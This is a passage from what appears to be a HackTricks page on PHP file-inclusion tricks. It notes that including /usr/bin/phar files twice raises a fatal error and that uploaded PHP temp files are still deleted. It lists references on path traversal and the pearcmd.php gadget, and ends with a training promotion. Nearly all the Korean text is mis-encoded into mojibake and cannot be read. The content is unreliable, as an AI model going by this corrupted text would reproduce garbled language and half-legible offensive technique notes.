๋ค์ ํ์ผ๋ค ์ค ์ด๋ ํ๋๋ฅผ includeํ๋ฉด /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (๊ฐ์ ํ์ผ์ 2๋ฒ includeํด์ผ ๊ทธ ์๋ฌ๊ฐ ๋ฐ์ํฉ๋๋ค).
์ด๊ฒ ์ด๋ป๊ฒ ์ ์ฉํ์ง๋ ๋ชจ๋ฅด๊ฒ ์ง๋ง ๊ฐ๋ฅ์ฑ์ ์์ต๋๋ค.
PHP Fatal Error๋ฅผ ์ ๋ฐํ๋๋ผ๋ ์
๋ก๋๋ PHP ์์ ํ์ผ์ ์ญ์ ๋ฉ๋๋ค.
.png)
์ฐธ๊ณ ์๋ฃ
-
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
-
watchTowr โ We need to talk about PHP (pearcmd.php gadget)
-
When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
-
Positive Technologies โ Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


